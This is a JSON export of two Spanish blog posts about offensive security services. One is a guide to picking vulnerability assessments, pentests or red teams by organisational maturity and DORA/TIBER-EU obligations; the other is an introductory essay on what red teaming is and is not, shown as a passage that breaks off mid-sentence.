[{"content":" Este post lo escribí en su día y se publicó originalmente en Security Art Work (S2GRUPO) el 13 de julio de 2026.\nIntroducción Vuelve por un momento al museo del artículo anterior. Solo que esta vez imagínate algo distinto: el director, antes de instalar una sola cámara, antes de poner cerraduras en las puertas, antes de nada… coge el teléfono y contrata al mejor ladrón del mundo para que intente robar el cuadro.\n¿El resultado? El ladrón entra por la puerta, que está abierta, coge el cuadro y se va. Diez minutos. Pero antes hubo semanas de coordinación, preparación y reuniones, y una factura considerable, para confirmarte algo que ya sabías: que no tienes nada.\nHa sido una pérdida de recursos para confirmar lo evidente. No has aprendido nada que no supieras.\nY aquí está la clave: el error no fue contratar al ladrón. Fue el momento en el que lo contrató. Ese mismo ladrón, en un museo con cámaras, guardias y vitrinas, te habría enseñado muchísimo. En un museo vacío, solo te confirma lo obvio.\nCon los servicios de seguridad ofensiva pasa exactamente lo mismo. No se eligen al azar. No se trata de coger el más sencillo para cumplir, ni el más ambicioso para presumir. Se trata de elegir el que necesitas según el momento en el que estás.\nPorque estos servicios no son platos de una carta: son peldaños de una escalera. Y subirlos en orden es lo que separa aprovechar tus recursos de malgastarlos.\nMadurez: no es un menú, es una escalera La \u0026ldquo;madurez\u0026rdquo; en seguridad no es una etiqueta de marketing: es, sencillamente, cuánto has construido y cuánto lo has probado. Una organización madura no es la que más herramientas tiene, sino la que sabe qué tiene, lo protege, detecta cuando algo va mal, responde y se recupera.\nSi quieres algo más formal, el NIST Cybersecurity Framework da una buena definición:\nLa madurez de seguridad es el grado en que las capacidades de seguridad de una organización son consistentes, repetibles y mejorables en el tiempo; es decir, mide cómo de bien gestionas el riesgo, no qué herramientas posees.\nEsa última parte es la clave. Madurez no es tener el EDR más caro del mercado: eso te hace estar equipado, no maduro. El propio NIST lo ordena en cuatro niveles: desde el que va apagando fuegos sin proceso, pasando por el que ya decide en función del riesgo, hasta el que tiene la gestión tan rodada que aprende de cada incidente y se ajusta solo. Y lo que miden esos niveles no es cuánto te has gastado en defensa, sino cómo de integrada está tu forma de gestionar el riesgo.\nY hay un detalle importante: el nivel más alto no es la meta para todos. Cada organización debería apuntar al que encaje con su negocio y con el riesgo que está dispuesta a asumir. Querer el último peldaño porque sí es malgastar recursos… igual que contratar un Red Team sin estar listo para él.\nFalta una pieza, y la pone el C2M2 del Departamento de Energía de EE. UU.: sus niveles son acumulativos. Para llegar a uno tienes que cumplir todo lo del anterior. No hay atajos ni se saltan los cimientos. Ahí está, en una frase, por qué esto es una escalera y no un menú. Mide además cada área por separado, así que puedes ir sobrado gestionando vulnerabilidades y flojo respondiendo a incidentes.\nY esas cinco cosas que decíamos al principio (saber qué tienes, protegerlo, detectarlo, responder y recuperarte) son justo las cinco funciones del NIST CSF: Identificar → Proteger → Detectar → Responder → Recuperar. No es casualidad que vayan en ese orden: no puedes responder a algo que no detectas, ni detectar en sistemas que ni siquiera sabías que tenías.\nLos servicios de seguridad ofensiva van por el mismo camino. Cada uno pone a prueba una función más, y cada uno da por hecho que las anteriores ya están cubiertas. Por eso son una escalera: contratar por encima de tu madurez es invertir tiempo y esfuerzo en confirmar algo que ya sabes; quedarte por debajo es no enterarte de lo que de verdad falla.\nAsí que saber en qué peldaño estás es la decisión más inteligente que puedes tomar antes de mover un solo recurso.\nLos servicios de un vistazo Antes de entrar en detalle, el mapa completo. La idea es sencilla: hay tres servicios principales, que forman el grueso del recorrido, y un conjunto de servicios especializados que se ejecutan cuando ya tienes una base.\nCada uno de los tres principales mira una \u0026ldquo;superficie\u0026rdquo; distinta del problema y responde a una pregunta distinta:\nServicio Superficie que mira Qué resuelve Vulnerability Assessment Superficie de exposición: todo lo que tengo expuesto ¿qué tengo y dónde estoy expuesto? Penetration Testing Superficie de ataque: enumera los vectores reales y los prueba todos dentro del alcance ¿es explotable de verdad y qué impacto tiene? Red Teaming Superficie de ataque orientada a objetivos: elige los caminos que llevan a una meta, como un adversario ¿me defiendo de un adversario que va a por algo? Fíjate en que cada escalón no añade solo profundidad, añade intención: se pasa de \u0026ldquo;qué hay\u0026rdquo; a \u0026ldquo;qué es atacable\u0026rdquo; y, de ahí, a \u0026ldquo;qué haría alguien que quiere conseguir algo concreto\u0026rdquo;.\nY alrededor de ellos, los especializados, que afinan o extienden lo anterior:\nServicio Qué resuelve Auditoría de equipos ¿están mis sistemas bien configurados y fortificados? Breach \u0026amp; Attack Simulation (BAS) ¿mis controles saltan cuando deben, de forma continua? Intrusión física ¿aguanto a quien entra por la puerta y no por la red? Simulación de ransomware ¿sobrevivo a un cifrado y vuelvo a operar? Hasta aquí el mapa. Ahora bajemos al detalle de cada peldaño: cuándo te toca, qué te da y cuándo todavía no.\nLos peldaños, en detalle Para cada nivel, lo mismo: cómo saber si estás ahí, qué encaja, qué obtienes e, igual de importante, qué NO tiene sentido todavía.\nNivel 0: Higiene básica (todavía no toca ofensiva) Antes de pagar a nadie por atacarte, toca lo aburrido: la higiene de seguridad. Es tener cerraduras en las puertas, controlar quién tiene las llaves y saber qué hay dentro del edificio. Sin eso, cualquier ejercicio ofensivo te va a contar lo que ya intuyes. Y no es un detalle menor: año tras año, los informes de brechas (como el Verizon DBIR) repiten que la mayoría de los incidentes siguen entrando por lo de siempre, una credencial robada o reutilizada, un sistema sin parchear o un activo expuesto que nadie estaba vigilando.\nSeñales de que estás aquí: no tienes un inventario fiable de activos ni de software; el parcheo va a salto de mata, sin priorizar por criticidad; no hay MFA generalizado y las contraseñas se reutilizan; la red es plana, sin segmentar; los privilegios se reparten \u0026ldquo;por si acaso\u0026rdquo;; y, si existen copias de seguridad, nunca se ha probado restaurarlas. Qué encaja: lo esencial primero, eso que marcos como los CIS Controls agrupan en su primer grupo de implementación (IG1) bajo el nombre de higiene básica. Inventario de activos y de software, gestión de vulnerabilidades y parches, MFA, configuración segura y hardening, mínimo privilegio, segmentación de red, registro de eventos y copias de seguridad que de verdad se han probado a restaurar. Qué NO tiene sentido aún: contratar un Red Team, ni siquiera un pentest a fondo. Es el ladrón en el museo sin cámaras: entra seguro y no aprendes nada que no supieras. Cada recurso que metas aquí en ofensiva es un recurso que dejas de meter en cerrar las puertas que ya sabes que están abiertas. Nivel 1: Saber qué tienes y dónde te expones Con la higiene en marcha, el siguiente paso es tener una foto clara de por dónde podrían entrar. Aquí entra el análisis de vulnerabilidades: la disciplina de buscar, de forma amplia y sistemática, los fallos conocidos que asoman en tus sistemas. El NIST lo define como el examen sistemático de un sistema para identificar deficiencias de seguridad (NIST SP 800-30). En la práctica, es pasar tu superficie por un peine fino y automatizado para saber qué hay y qué pinta tiene.\nSeñales: ya tienes lo básico cubierto, pero no una foto clara de tu exposición. Sabes que tienes activos, aunque no del todo qué versiones corren, qué expones a internet ni qué vulnerabilidades conocidas acumulas. Qué encaja: un análisis de vulnerabilidades, a ser posible con escaneo autenticado (con credenciales) y no solo desde fuera, que ve mucho más que uno a ciegas. Busca, identifica y cataloga fallos conocidos de forma amplia y recurrente. Amplitud sobre profundidad: no se trata de explotar nada, sino de levantar el inventario de grietas. Qué obtienes: un mapa de tu superficie de exposición y una lista priorizada de qué tapar primero, idealmente cruzando la severidad técnica (CVSS) con el contexto de negocio y la probabilidad real de explotación (métricas como EPSS o la lista de vulnerabilidades explotadas activamente del CISA KEV). Cubre Identificar y empuja Proteger. Qué NO tiene sentido aún: saltar al pentest o al Red Team. Si todavía acumulas una lista de vulnerabilidades conocidas sin tapar, pagar por que alguien las explote solo te va a confirmar lo que el escáner ya te dijo, y un Red Team entrará por la primera de ellas sin que aprendas nada nuevo. Primero reduce esa exposición evidente; cuando ya no sepas cuáles de los fallos que quedan son explotables de verdad, será el momento de subir al siguiente peldaño. Nivel 2: Comprobar qué es explotable de verdad Una lista de vulnerabilidades te dice dónde hay grietas; no te dice cuáles ceden si alguien empuja. Ese salto, de lo teórico a lo demostrado, es el pentest. El NIST lo describe como una prueba en la que los evaluadores intentan evadir o derrotar las medidas de seguridad de un sistema (NIST SP 800-115). Aquí ya no se cataloga el fallo: se explota, se encadena con otros y se mide hasta dónde permite llegar.\nSeñales: tienes el análisis de vulnerabilidades hecho y una lista priorizada, pero no sabes el impacto real que tendrían encadenados. Necesitas pasar de \u0026ldquo;esto parece vulnerable\u0026rdquo; a \u0026ldquo;esto compromete tal sistema y estos datos\u0026rdquo;. Qué encaja: un pentest con alcance acotado (externo o interno). El equipo coge los fallos, los explota para demostrar que son reales, los combina y persigue un objetivo técnico. Profundidad sobre amplitud. Conviene fijar bien las reglas de enfrentamiento y, según el caso, elegir el grado de información que se entrega (desde caja negra sin datos hasta caja blanca con acceso y documentación). Qué obtienes: confirmación de riesgos reales con evidencia reproducible, una cadena de explotación que enseña el impacto de negocio y recomendaciones priorizadas para remediar. Separa el ruido (el fallo que nadie puede explotar) de lo que de verdad te puede hacer daño: tu superficie de ataque real, la que cede al empujar. Añade Detectar de forma incipiente. Qué NO tiene sentido aún: confundirlo con un Red Team. El pentest suele ser conocido por la defensa, va contra un alcance cerrado y busca cobertura técnica; no mide si tu SOC detecta y reacciona ante alguien sigiloso que se toma su tiempo. Cobertura no es lo mismo que sigilo, y un buen pentest no finge ser invisible: su valor está en encontrar y demostrar, no en esconderse. Nivel 3: Resistir a un adversario real El pentest te dice si una puerta se abre. El Red Team te dice si alguien se entera cuando la cruzan, se mueven por dentro y van a por lo que importa. Ya no se pone a prueba un sistema, sino toda la organización: la tecnología, los procesos y las personas que defienden. Por eso el NIST lo describe como un ejercicio que, reflejando condiciones reales, simula el intento de un adversario de comprometer las misiones o procesos de negocio de una organización (CNSSI 4009). La diferencia clave no es técnica: es que aquí la defensa no avisa, no sabe que está siendo puesta a prueba.\nSeñales: ya proteges, detectas y empiezas a responder. Tienes SOC, EDR, procesos de respuesta y un equipo que sabe lo que hace, pero nunca los has medido contra alguien que se comporta como un atacante real, se toma su tiempo y no quiere que lo vean. Qué encaja: un ejercicio de Red Team guiado por un modelado de amenazas. Se elige un adversario plausible para tu organización (sector, geopolítica, exposición), se emulan sus TTPs reales (apoyándose en marcos como MITRE ATT\u0026amp;CK) y se persigue un objetivo de negocio concreto (acceder a tal dato, llegar a tal sistema), con sigilo y sin que la defensa lo sepa. No se mide la cantidad de fallos, sino la capacidad real de detección y respuesta: ¿lo ven?, ¿en cuánto tiempo?, ¿reaccionan bien? Qué obtienes: la medida real de tu detección y respuesta (Responder y Recuperar), un mapa de puntos ciegos y, sobre todo, un relato del incidente paso a paso que enseña dónde se rompió la cadena. No recorre toda la superficie, sino el camino que un adversario tomaría para llegar a su objetivo. Es el ejercicio que más se parece a lo que pasaría de verdad. Qué NO tiene sentido: medir el ejercicio por \u0026ldquo;¿entraron o no?\u0026rdquo;. Con tiempo y recursos, entran; eso lo sabíamos antes de empezar. La pregunta que paga el ejercicio es qué pasó después: cuánto tardaron en verlo, si supieron contenerlo y qué se aprende para la próxima. ¿Y si estás regulado? DORA y TIBER-EU Hasta aquí hemos hablado de elegir según tu madurez, como si la decisión fuera solo tuya. Pero para una parte del tejido empresarial, sobre todo el sector financiero, alguno de estos peldaños ha dejado de ser una opción para convertirse en una obligación legal.\nVolvamos al museo. Imagina que ya no es el director quien decide cuánta seguridad pone: llega el Ministerio de Cultura y dicta una norma. Todo museo que custodie obras por encima de cierto valor está obligado a tener inventario al día, vigilancia, cámaras, un plan de emergencia probado y a avisar a la autoridad en cuestión de horas si entra un ladrón. Y los más importantes, además, tendrán que pasar cada cierto tiempo una prueba de robo realista y supervisada. La seguridad deja de ser una elección y pasa a tener un suelo mínimo marcado por ley. Eso, trasladado al mundo digital y al sector financiero, es DORA.\nQué es DORA DORA (Digital Operational Resilience Act, Reglamento UE 2022/2554) es la norma europea que, desde el 17 de enero de 2025, exige al sector financiero ser capaz de resistir, responder y recuperarse ante incidentes tecnológicos. No es una recomendación ni una guía de buenas prácticas: es un reglamento de obligado cumplimiento.\nAplica a un abanico amplio de entidades: bancos, aseguradoras, empresas de inversión, entidades de pago, fintechs, proveedores de criptoactivos, gestoras de fondos… y también a los proveedores TIC críticos de los que dependen, como los grandes proveedores de nube. Se apoya en varios pilares: gestión del riesgo tecnológico, notificación de incidentes, gestión del riesgo de terceros, intercambio de información y, el que nos interesa aquí, las pruebas de resiliencia.\nDentro de esas pruebas, las entidades que las autoridades designen por su criticidad están obligadas a someterse a un TLPT (Threat-Led Penetration Testing): un ejercicio ofensivo dirigido por inteligencia de amenazas, normalmente cada tres años. Aquí es donde la escalera de este artículo se cruza de lleno con la ley.\nQué es TIBER-EU Si DORA dice \u0026ldquo;tienes que hacer la prueba\u0026rdquo;, TIBER-EU dice \u0026ldquo;así es como se hace\u0026rdquo;. Es el marco creado por el Banco Central Europeo en 2018 que estandariza cómo se ejecuta ese TLPT: cómo se define el alcance, cómo se usa la inteligencia de amenazas para elegir a qué adversario emular, cómo se lanza un Red Team contra los sistemas reales en producción y cómo se supervisa todo de principio a fin para que no se rompa nada de verdad. Cada país tiene su adaptación; en España es TIBER-ES, coordinado por el Banco de España.\nEn el museo, TIBER-EU sería el protocolo oficial de cómo se organiza esa prueba de robo: quién autoriza al ladrón, cómo se estudia primero el modus operandi de un ladrón real para que la prueba sea creíble, que se hace con el museo abierto al público (en producción) pero con un pequeño grupo de confianza vigilando para que nada acabe roto, y con un inspector de la autoridad validando que se hizo bien. Está estandarizado para que la prueba de un banco sea comparable a la de otro.\nEn la práctica, un TLPT bajo TIBER-EU es un Red Team de gama alta: guiado por threat intelligence real, ejecutado contra producción y con un proceso formal de extremo a extremo.\n¿Estás sujeto a un marco así? Cómo saberlo La primera pregunta es sencilla: ¿operas en el sector financiero de la UE? Si eres banco, aseguradora, empresa de inversión, entidad de pago o de dinero electrónico, gestora de fondos o proveedor de criptoactivos, DORA te aplica casi con seguridad. Y si eres un proveedor TIC del que dependen esas entidades, puede alcanzarte también.\nOtra cosa distinta es estar obligado en concreto al TLPT: eso no aplica a todas, sino a las entidades que las autoridades competentes designan por su tamaño y criticidad. Para salir de dudas, el camino corto es preguntar a tu equipo de cumplimiento o legal y consultar a tu supervisor (en España, según el sector, el Banco de España, la CNMV o la DGSFP).\nY ojo, que DORA no es el único marco. Fuera del mundo financiero hay otros que también imponen obligaciones de seguridad, como NIS2 para sectores esenciales (energía, transporte, sanidad, agua…). Si tu actividad es sensible, conviene comprobarlo antes de dar por hecho que la decisión es solo tuya.\nLa conclusión para el resto del artículo: si estás regulado, los peldaños altos de la escalera no son una aspiración, son una obligación. Y como toda obligación de este tipo, exige haber subido antes los de abajo: no se pasa un TLPT con éxito, ni se aprende de él, sin la madurez previa de identificar, proteger y detectar.\nPreguntas para un autodiagnóstico Antes de nada, una advertencia honesta: lo que sigue es orientativo. Te ayuda a situarte de forma aproximada, pero no es un diagnóstico definitivo ni sustituye a un estudio hecho por profesionales sobre tu caso concreto (tu sector, tu arquitectura, tus riesgos y tus obligaciones). Tómalo como una brújula, no como un GPS.\nDicho esto, responde con sinceridad. Donde se corte tu primer \u0026ldquo;no\u0026rdquo;, ahí está tu peldaño:\n¿Tienes inventario fiable, parcheo al día, MFA generalizado y copias probadas? → Si no: Nivel 0, higiene básica. ¿Sabes qué tienes expuesto y con qué vulnerabilidades conocidas? → Si no: Nivel 1, análisis de vulnerabilidades. ¿Has confirmado explotando cuáles de esos fallos son reales y su impacto? → Si no: Nivel 2, pentest. ¿Tienes detección y respuesta (SOC/EDR/IR) y los has probado a ciegas? → Si no: Nivel 3, Red Team / Simulación de Adversarios. ¿Ya tienes Red Team maduro y quieres medir un escenario concreto (intrusión física, resiliencia ante ransomware, auditoría de equipos)? → servicios especializados. ¿Operas en banca o finanzas de la UE, o en un sector esencial? → revisa si DORA o NIS2 te obligan (y, en su caso, a un TLPT). Regla de oro: si un servicio te va a confirmar algo que ya sabes, todavía no es tu servicio. El bueno es el que te revela algo que no sabías.\n¿Quieres ir más a fondo? Te dejo un autodiagnóstico en Excel con más de 30 preguntas por áreas, que calcula tu nivel y te sugiere en qué peldaño centrarte:\nDescargar el autodiagnóstico en Excel\nQue conste una vez más: incluso esa hoja es orientativa. Para decidir de verdad qué contratar, lo sensato es un estudio profesional sobre tu situación concreta.\nErrores comunes Casi todos los problemas con la seguridad ofensiva no vienen del servicio en sí, sino de elegirlo o usarlo mal. Estos son los tropiezos que más se repiten, de mayor a menor gravedad.\nSaltarse peldaños. Es el error más caro y el más frecuente. Buscar profundidad sin tener cubierta la amplitud: contratas un Red Team cuando ni siquiera sabes qué tienes expuesto. Encuentras un camino de entrada, pero te quedan diez sin mirar, y pagas por confirmar lo que ya intuías. La escalera existe por algo: cada peldaño da por hecho el anterior. Tratarlo como un evento aislado. Un ejercicio suelto es una foto fija; la seguridad es una película. El valor está en el ciclo: pruebas, aprendes, corriges y vuelves a probar. Pasar un Red Team una vez para tachar la casilla no construye madurez, solo tranquiliza la conciencia. Comprar lo que está de moda. \u0026ldquo;Quiero un Red Team\u0026rdquo; porque suena bien en la reunión, cuando lo que necesitas es un pentest y tapar lo básico. El nombre impresiona; el resultado no aporta más si llega antes de tiempo. No definir el objetivo del ejercicio. Contratar \u0026ldquo;un pentest\u0026rdquo; o \u0026ldquo;un Red Team\u0026rdquo; sin concretar qué pregunta debe responder ni qué se considera un éxito. Sin un objetivo claro, el proveedor improvisa el alcance y tú recibes un informe que no encaja con lo que de verdad te preocupaba. Antes de firmar, ten clara una cosa: ¿qué quiero saber cuando esto termine? No tener claro el objetivo de madurez. Perseguir el peldaño más alto porque sí, sin saber a qué nivel necesitas llegar de verdad. Como avisa el propio NIST, la meta no es el máximo para todos, sino el que encaje con tu negocio y tu tolerancia al riesgo. Apuntar más alto de lo necesario también es malgastar recursos. No saber para qué sirve cada ejercicio. Cada uno mide algo distinto, y aplicar la vara equivocada lleva a conclusiones absurdas. En un pentest, que te detecten o no no dice nada de su calidad: el pentester no busca sigilo, busca cobertura y demostrar impacto, y de hecho lo normal es que se le vea. El sigilo y la detección son justo lo que evalúa un Red Team, no un pentest. Pedirle a cada servicio lo que no le toca solo genera frustración e informes mal leídos. Conclusiones Hemos recorrido la escalera entera: desde la higiene básica que lo sostiene todo, pasando por conocer tu exposición y confirmar qué es explotable de verdad, hasta ponerte a prueba ante un adversario real. En el fondo es un cambio de intención: de saber qué tienes, a qué es atacable, a qué haría alguien que va a por algo concreto. Y alrededor, los servicios especializados y, si te toca, las obligaciones regulatorias como DORA.\nLa idea de fondo es una sola: la seguridad ofensiva bien elegida no es la más ambiciosa ni la que mejor suena en una reunión, es la que encaja con tu momento. Sube los peldaños en orden y cada uno te revelará algo que no sabías. Sáltatelos y acabarás como el museo del principio, invirtiendo tiempo y recursos en que un ladrón te confirme que no tenías ni cámaras.\nY el Red Team tampoco es la meta final. La madurez de verdad no es pasar un ejercicio, sino convertir todo esto en un programa que se sostiene y mejora con el tiempo.\nSi después de leer esto no tienes del todo claro en qué peldaño estás, no pasa nada: darte cuenta de eso ya es el primer paso. Empieza por el autodiagnóstico y, a partir de ahí, decide con criterio.\nReferencias NIST — Cybersecurity Framework (CSF). Implementation Tiers (Parcial, Informado por el riesgo, Repetible, Adaptativo): describen lo madura e integrada que está la gestión del riesgo, no la calidad de los controles; el Tier más alto no es el objetivo universal, sino el que encaje con el negocio y la tolerancia al riesgo de cada organización. Funciones del marco: Identificar, Proteger, Detectar, Responder, Recuperar. U.S. Department of Energy — Cybersecurity Capability Maturity Model (C2M2). Niveles de indicador de madurez acumulativos (MIL0–MIL3): alcanzar un nivel exige cumplir las prácticas de ese nivel y de todos los anteriores. La madurez se evalúa por dominios de forma independiente. Center for Internet Security — CIS Critical Security Controls. El grupo de implementación 1 (IG1) define la higiene cibernética esencial: inventario de activos y software, gestión de vulnerabilidades, MFA, configuración segura, control de accesos y copias de seguridad, entre otros. Verizon — Data Breach Investigations Report (DBIR). Informe anual que, edición tras edición, sitúa las credenciales comprometidas, la explotación de vulnerabilidades conocidas y los errores de configuración entre los principales vectores de las brechas. NIST — definiciones de análisis de vulnerabilidades (SP 800-30), de penetration testing (SP 800-115) y de ejercicio de Red Team (CNSSI 4009). Modelos de priorización: CVSS (severidad técnica), EPSS (probabilidad de explotación) y CISA KEV (catálogo de vulnerabilidades explotadas activamente). MITRE — ATT\u0026amp;CK. Base de conocimiento de tácticas, técnicas y procedimientos (TTPs) de adversarios reales, usada para diseñar y mapear la emulación en un ejercicio de Red Team. Unión Europea — Reglamento (UE) 2022/2554, Digital Operational Resilience Act (DORA). Aplicable desde el 17 de enero de 2025; regula la resiliencia operativa digital del sector financiero e incluye la obligación de TLPT para las entidades designadas por su criticidad. Banco Central Europeo — marco TIBER-EU (Threat Intelligence-Based Ethical Red Teaming, 2018) y su adaptación nacional TIBER-ES (Banco de España): método estandarizado para ejecutar un TLPT guiado por inteligencia de amenazas contra sistemas en producción. Unión Europea — Directiva (UE) 2022/2555, NIS2. Obligaciones de ciberseguridad para entidades esenciales e importantes fuera del sector financiero (energía, transporte, sanidad, agua, etc.). ","permalink":"https://josupalacios99.github.io/blog/posts/que-servicio-de-seguridad-ofensiva-necesitas/","summary":"Vulnerability Assessment, Pentest, Red Team, Purple Team, BAS, intrusión física, simulación de ransomware… No es un menú donde eliges el plato más vistoso: es una escalera. Esta guía te ayuda a saber en qué peldaño estás y qué tiene sentido contratar ahora.","title":"¿Qué servicio de seguridad ofensiva necesitas? Una guía por madurez"},{"content":" Este post lo escribí en su día y se publicó originalmente en Security Art Work (S2GRUPO) el 6 de julio de 2026.\nIntroducción Imagina un museo. De esos con una obra que vale más que el edificio entero. Hay cámaras por todas partes, guardias en cada sala, sensores de movimiento, una vitrina blindada que parece sacada de una película. El director duerme tranquilo: \u0026ldquo;esto es Fort Knox, aquí no entra nadie\u0026rdquo;.\nPero un día hace algo raro. Coge el teléfono y contrata a un ladrón. Uno de verdad, de los buenos. Y le dice: \u0026ldquo;Roba el cuadro. No avises a nadie, no te cortes. Quiero ver hasta dónde eres capaz de llegar\u0026rdquo;.\nY aquí viene lo bueno. El director se esperaba una peli de Misión Imposible: el ladrón descolgándose del techo con arneses, esquivando láseres, taladrando la vitrina blindada con precisión de cirujano.\nNada de eso.\nEl ladrón se presentó a las nueve de la mañana con un mono de trabajo y un carrito de limpieza. Le dijo al de seguridad que venía a arreglar el aire acondicionado de la sala 3. El guardia, que ni levantó la vista, le abrió la puerta. Resulta que la vitrina blindada de 40.000 euros se abría con una llave que estaba colgada en el cuartito de mantenimiento, ese que llevaba meses con la cerradura rota. El ladrón cogió el cuadro, lo metió debajo de unos trapos en el carrito, dijo \u0026ldquo;hasta luego, jefe\u0026rdquo; al salir… y el jefe le respondió \u0026ldquo;que vaya bien\u0026rdquo;.\nCero láseres. Cero arneses. La obra más cara del museo salió por la puerta principal a plena luz del día, saludando.\n¿Y sabes qué es lo más incómodo? Que las cámaras lo grabaron todo. Funcionaban perfectamente. Nadie las estaba mirando.\nAquí la gran diferencia entre creer que estás protegido y saberlo.\nMontar la seguridad de una empresa es un marrón. No es solo poner un antivirus y a correr. Tiras de un lado y aprietan por otro: los clientes te piden garantías, compliance te persigue con sus checklists, la dirección quiere resultados ya, y como salga algo en prensa se monta el circo. Todo eso a la vez.\nY luego está el dinero. Casi nunca hay tanto como haría falta, y lo peor no es eso: lo peor es que muchas veces ni se sabe en qué gastarlo. Se compra la herramienta de moda, se marca la casilla, y a otra cosa.\nPor debajo de todo esto hay una idea que no se dice en voz alta pero que está siempre ahí: \u0026ldquo;esto le pasa a otros, a nosotros no\u0026rdquo;. Y de esa idea nacen los mitos de siempre:\n\u0026ldquo;Si el usuario no hace clic, no hay intrusión.\u0026rdquo; \u0026ldquo;Tenemos un EDR, estamos cubiertos.\u0026rdquo; \u0026ldquo;Cumplimos la ISO 27001, nuestra infraestructura es segura.\u0026rdquo; Suena razonable. El problema es que la realidad no se lee los certificados.\nEn 2016, el grupo Lazarus se llevó 81 millones de dólares del Banco Central de Bangladesh. No de una tiendecita de barrio: del banco central de un país, conectado a la red SWIFT, con toda la protección que te puedas imaginar encima. ¿De verdad crees que esas redes no estaban hasta arriba de controles, auditorías y certificaciones?\nEstaban. Y aun así pasó.\nLa pregunta entonces no es \u0026quot;¿tenemos seguridad?\u0026quot;. La pregunta es \u0026quot;¿funciona de verdad cuando alguien la pone a prueba?\u0026quot;.\n¿Qué es el Red Teaming? Cuando hablamos sobre qué es el Red Teaming, también conocido como Simulación o Emulación de Adversarios, es cuando aparece el primer problema. si preguntas a diez personas qué es, probablemente obtengas quince respuestas distintas. Hay definiciones para todos los gustos.\nDe todas las que he leído, hay una que me parece especialmente acertada. Es la de Joe Vest y James Tubberville en su libro Red Team Development and Operations:\nEl Red Teaming es el proceso de usar Tácticas, Técnicas y Procedimientos (TTPs) para emular a un adversario real, con el objetivo de entrenar y medir la efectividad de las personas, los procesos y la tecnología que se usan para defender un entorno.\nDe esta definición es posible sacar tres ideas importantes:\n\u0026ldquo;Emular a un adversario real\u0026rdquo;. No se trata de lanzar un escáner y revisar la lista de fallos que devuelve. Se trata de comportarse como lo haría quien realmente quiere causar daño. Y eso lo cambia todo, porque un atacante no es una vulnerabilidad ni un exploit en un informe: es una persona inteligente, con paciencia y un objetivo y en ocasiones con el capital suficiente como para conseguir su propósito. Y cuando hablamos de capital, hablamos de cosas muy concretas: puede comprar un exploit de día cero por cientos de miles de dólares, pagar a un empleado descontento para que le abra una puerta desde dentro, o sostener una operación durante meses sin prisa por rentabilizarla. Por eso lo primero, antes de tocar nada, es tener claro de quién te estás protegiendo. No es lo mismo defenderse de un atacante oportunista que de un grupo patrocinado por un estado (APT) que lleva meses estudiando a su objetivo. Cambian las herramientas, cambian las metas y cambia la paciencia. Si no sabes a qué adversario te enfrentas, estás colocando rejas sin saber siquiera si quien viene entra por la ventana o por la puerta.\n\u0026ldquo;Entrenar y medir\u0026rdquo;. El Red Teaming no tiene como propósito entregar una lista de vulnerabilidades, para eso hay otros enfoques. Existe para responder preguntas bastante más complejas e incómodas: ¿se daría cuenta tu equipo? ¿En cuánto tiempo? ¿Sabrían cómo reaccionar? Es un simulacro de incendio, pero con fuego real.\n\u0026ldquo;Personas, procesos y tecnología\u0026rdquo;. Aquí está el verdadero fondo del asunto. Existe la tendencia a entender la seguridad como un problema puramente técnico (firewall, antivirus, parches) y a olvidar las otras dos patas. Pero en el museo no falló la tecnología: las cámaras funcionaban. Falló la persona que no miraba las pantallas y el proceso que dejó una llave colgada en un cuarto con la cerradura rota. El Red Teaming pone a prueba las tres dimensiones a la vez, porque un atacante real buscará siempre la más débil, y rara vez es la tecnología.\nNada de esto se improvisa. Un buen ejercicio parte de objetivos y escenarios bien definidos, y para ello es clave identificar las funciones críticas de la organización y el impacto que tendría verlas comprometidas. Sin ese rumbo, no es un ejercicio de Red Team: es un grupo de personas probando cosas a ver qué encuentran.\nEmulación vs Simulación Una matización sobre los nombres: dentro del Red Teaming se distinguen dos enfoques, y no son lo mismo. Emular a un adversario no es igual que simularlo.\nEmulación Simulación Amenaza Concreta y real Hipotética TTPs Conocidas (inteligencia de amenazas) Libres o propias Alcance Estrecho Amplio Para qué Afinar la defensa frente a ese actor Mejorar frente a una variedad de amenazas El objetivo de la emulación es desarrollar, probar y afinar la capacidad de la organización para detectar y responder a las TTPs de una amenaza concreta. Es una evaluación enfocada frente a un actor que tiene más probabilidades de ir a por ti, y por eso el Red Team se apoya en informes de inteligencia de amenazas para reproducir sus TTPs conocidas lo más fielmente posible. Es el equivalente a prepararte para un ladrón concreto del que ya conoces el modus operandi: entra de noche por el tejado, fuerza siempre el mismo tipo de cerradura, evita las cámaras del ala este. Quieres ver si paras justo a ese.\nLa simulación, en cambio, deja que el Red Team se comporte como una amenaza totalmente hipotética, mucho menos restringido en las TTPs que puede usar. Eso da una evaluación más amplia de tus capacidades y destapa puntos ciegos menos evidentes. Siguiendo el símil, es soltar a un ladrón cualquiera, sin guion previo, libre de usar las mañas que se le ocurran, para ver cómo aguantas ante cualquier estilo de robo.\n¿Qué NO es el Red Teaming? A veces la mejor forma de entender algo es delimitar lo que no es. Y el Red Teaming arrastra suficientes malentendidos como para dedicarle un apartado. Vamos a desmontar unos cuantos.\nNo es hackear por hackear. No se trata de entrar por deporte, plantar una bandera y marcharse. Si un ejercicio termina con un \u0026ldquo;hemos conseguido entrar, enhorabuena a todos\u0026rdquo; y poco más, ha fracasado. El objetivo no es el acceso en sí, sino el valor accionable que se extrae de él: qué falló, por dónde, qué se podría haber hecho distinto y qué hay que arreglar a partir de mañana. Un Red Team que no deja a la organización mejor de lo que la encontró no ha hecho su trabajo.\nNo es un examen, ni un intento de dejar a nadie en evidencia. Aquí está uno de los mayores motivos de rechazo hacia esta disciplina: la idea de que viene alguien de fuera a demostrar lo mal que lo hace el equipo interno, a señalar culpables y a humillar al Blue Team. Nada más lejos. El Red Team no es el enemigo: es el simulacro, no el incendio. Está ahí para que, cuando llegue el fuego de verdad, todo el mundo sepa exactamente qué hacer. Si un ejercicio se vive como un juicio, alguien ha entendido mal el propósito.\nNo es un \u0026ldquo;¿entraron o no?\u0026rdquo;. Esta es quizá la confusión más extendida. Reducir el resultado a si el Red Team logró comprometer la organización es quedarse en la superficie. Casi siempre se entra, ya lo veremos más adelante; la pregunta interesante es qué impacto se demuestra por el camino. El \u0026ldquo;sí entraron\u0026rdquo; es el principio del análisis, no el final.\nNo es un servicio de una sola vez. La seguridad no es un estado al que se llega, sino algo que se mantiene y se erosiona constantemente. El verdadero valor aparece cuando el Red Teaming se entiende como un proceso que construye madurez: ejercicio, lecciones aprendidas, mejoras, y vuelta a empezar. Pasarlo una vez para tachar una casilla no aporta el mismo valor.\nNo es cosa solo del equipo ofensivo. Tendemos a imaginar el Red Teaming como un grupo de atacantes haciendo su magia en un sótano, y poco más. Pero un ejercicio sin Blue Team que detecte y responda 